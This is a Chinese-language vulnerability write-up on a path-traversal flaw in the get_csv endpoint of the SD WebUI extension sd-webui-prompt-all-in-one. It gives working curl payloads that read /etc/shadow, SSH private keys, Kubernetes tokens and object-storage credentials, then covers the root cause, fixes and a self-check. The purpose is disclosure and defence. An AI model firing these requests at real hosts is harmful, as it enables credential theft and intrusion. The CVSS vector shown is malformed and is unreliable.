sd-webui-prompt-all-in-one 漏洞
Stable Diffusion WebUI(AUTOMATIC1111)是目前开源社区最火的 AI 绘画部署方案,没有之一。企业内部用它跑模型训练、批量生图、搭建 AI 创作平台,早已不是新鲜事。
而 sd-webui-prompt-all-in-one 是 SD WebUI 生态中排名前列的扩展插件,GitHub 星标 3.2k,功能是增强提示词输入框体验——自动翻译、历史记录、标签补全。装机量非常大,国内大量企业的 AI 训练平台上都能看到它的身影。
问题出在这个扩展的 get_csv 接口。该接口用于读取标签补全用的 CSV 文件,但代码中直接将用户传入的 key 参数拼接到 base_dir 上,没有做任何路径规范化或 ../ 过滤。攻击者只需构造一个带路径穿越的 URL,就能读取服务器上的任意文件。
更严重的是:SD WebUI 默认不启用认证,很多企业部署时直接 --listen 暴露在内网。这个扩展的漏洞接口同样无需认证,零点击即可利用。
我们在某企业内网资产普查中发现了 8 个暴露该漏洞的实例,全部以 root 权限运行。通过这个漏洞,我们读取到了 SSH 私钥、Kubernetes ServiceAccount Token、对象存储凭据等高危敏感信息。
漏洞披露状态如下:
一句话总结:3.2k 星的热门扩展,漏洞代码躺了 3 年,作者已停更,Issue 无人理,至今零补丁。
二、利用条件
CVSS 3.1 评分:9.1(严重 / Critical)
向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/SC:C/C:H/I:N/A:A
三、环境搭建
本地复现非常简单,拉一个 SD WebUI 容器即可。
# 拉取 SD WebUI 镜像
docker run -d --name sd-webui-test \
-p 8065:7860 \
-v /tmp/sd-models:/models \
--gpus all \
--restart unless-stopped \
ghcr.io/xxx/sd-webui:latest \
--listen --api --port 7860
# 进入容器安装漏洞扩展
docker exec -it sd-webui-test bash
cd /home/projects/stable-diffusion-webui/extensions
git clone https://github.com/physton/sd-webui-prompt-all-in-one
# 重启 SD WebUI 使扩展生效
docker restart sd-webui-test
验证扩展已加载:
curl http://127.0.0.1:8065/physton_prompt/get_csvs
返回 JSON 格式的 CSV 文件列表,说明扩展正常运行,漏洞接口已暴露。
四、漏洞复现
攻击链总览
攻击者(内网任意位置)
│
│ ① 探测:发现 10.x.x.x:8065 暴露 SD WebUI
│
▼
SD WebUI(无认证,root 运行)
│
│ ② 利用:GET /physton_prompt/get_csv?key=../../../../etc/passwd
│
▼
get_csv() 函数(base_dir + key 直接拼接,无过滤)
│
│ ③ 突破 base_dir 限制,路径穿越成功
│
▼
读取任意文件
│
├── /etc/passwd → 系统用户列表
├── /etc/shadow → 密码哈希(root 权限确认)
├── /root/.ssh/id_rsa → SSH 私钥
├── /var/run/secrets/.../token → K8s ServiceAccount Token
├── /root/.s3cfg → 对象存储凭据
└── /root/.bash_history → 明文密码
│
▼
凭据链式利用 → 横向移动 → K8s API 调用 → 对象存储读写
Step 1:读取 /etc/passwd 确认漏洞
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/passwd"
返回:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...(全部用户列表)
漏洞确认。key 参数中的 ../ 成功穿越了 base_dir 限制。
Step 2:读取 /etc/shadow 确认 root 权限
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/shadow"
返回完整的 shadow 文件内容,包含所有用户的密码哈希。能读 shadow,说明 WebUI 进程以 root 运行。
Step 3:读取 SSH 私钥
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../root/.ssh/id_rsa"
返回完整的 RSA PRIVATE KEY。拿到私钥后,可以直接 SSH 登录该主机,横向到同集群其他节点。
Step 4:读取 Kubernetes ServiceAccount Token
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token"
返回 JWT Token,解码后包含:
namespace: mlt-cv
SA: default
sub: system:serviceaccount:mlt-cv:default
拿到这个 Token,可以在 K8s 集群内调用 API Server,根据 default SA 权限读取同 namespace 下的 Pod、Secret、ConfigMap。
Step 5:读取对象存储凭据
# s3cmd 配置
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../root/.s3cfg"
返回 S3 兼容对象存储的 access_key、secret_key、host_base。攻击者可以直接用这些凭据读写训练数据集、模型权重。
Step 6:读取 Bash 历史中的明文密码
curl "http://10.x.x.x:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../root/.bash_history"
返回约 2000 行命令历史,其中包含多条明文 MinIO 凭据。
五、关键点解读
漏洞根因
看一眼源码就明白了,漏洞代码非常"经典":
# scripts/physton_prompt/csv.py
def get_csv(key):
global base_dir
global self_base_dir
global self_tags_dir
path = base_dir + key # ← 直接拼接,零过滤
if not os.path.exists(path):
path = os.path.join(self_tags_dir, key.replace(...))
if not os.path.exists(path):
return None
return path # ← 返回路径,由上层读取并返回内容
key 来自 URL 参数,base_dir 是 SD WebUI 的工作目录。正常请求中 key 长这样:
/extensions/a1111-sd-webui-tagcomplete/tags/danbooru.csv
拼接后:
/home/projects/stable-diffusion-webui/extensions/a1111-sd-webui-tagcomplete/tags/danbooru.csv
攻击者把 key 改成:
/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/passwd
拼接后路径穿越到 /etc/passwd,函数返回该路径,上层代码直接读取文件内容返回给攻击者。
三个致命问题叠加:
横评:同类路径穿越漏洞对比
本文漏洞的威胁程度高于多数已分配 CVE 的同类漏洞,原因在于:无需认证 + root 运行 + 可读任意文件 + 无补丁。
为什么危害这么大
这个漏洞本身只是"任意文件读取",但结合实际部署环境,杀伤力成倍放大:
六、修复与防御
立即修复
方案一:卸载扩展(推荐)
# 停止 SD WebUI
docker stop sd-webui-test
# 删除漏洞扩展
rm -rf /home/projects/stable-diffusion-webui/extensions/sd-webui-prompt-all-in-one
# 重启 SD WebUI
docker start sd-webui-test
作者已停更,补丁无望,最安全的做法就是卸载。
方案二:反向代理拦截漏洞路径
如果业务上离不开这个扩展,在 Nginx 层拦截:
location /physton_prompt/get_csv {
return 403;
}
方案三:手动修补 csv.py
# 修复后的 get_csv 函数
def get_csv(key):
global base_dir
global self_base_dir
global self_tags_dir
# 规范化路径
abs_path = os.path.normpath(os.path.join(base_dir, key))
# 校验路径未逃逸 base_dir
if not abs_path.startswith(base_dir):
return None
# 仅允许 .csv 后缀
if not abs_path.endswith('.csv'):
return None
if not os.path.exists(abs_path):
return None
return abs_path
注意:手动修补后每次扩展更新都可能被覆盖,需持久化处理。
纵深防御
快速自检
如果你在用 SD WebUI,一条命令检查是否存在漏洞:
curl -s "http://127.0.0.1:8065/physton_prompt/get_csv?key=/extensions/a1111-sd-webui-tagcomplete/tags/../../../../../../../etc/hostname" | head -1
如果返回了主机名,说明你中招了。如果返回空或报错,说明要么没装这个扩展,要么已经做了防护。
凭据轮换
如果确认被利用过,以下凭据必须全部轮换:
七、总结
核心结论:这是一个 CVSS 9.1 的未授权任意文件读取漏洞,扩展作者已停更不修,Issue 挂了 8 个月无人理。在 K8s + root 的实际部署环境下,一条 curl 命令就能拿到 SSH 私钥和 K8s Token,杀伤力远超普通文件读取。如果你在用这个扩展,现在就卸载它。
参考
扩展仓库:https://github.com/physton/sd-webui-prompt-all-in-one[1]
安全报告 Issue #372:https://github.com/physton/sd-webui-prompt-all-in-one/issues/372[2]
漏洞源码文件:scripts/physton_prompt/csv.py
SD WebUI 官方文档:https://github.com/AUTOMATIC1111/stable-diffusion-webui[3]
引用链接
[1]https://github.com/physton/sd-webui-prompt-all-in-one
[2]https://github.com/physton/sd-webui-prompt-all-in-one/issues/372
[3]https://github.com/AUTOMATIC1111/stable-diffusion-webui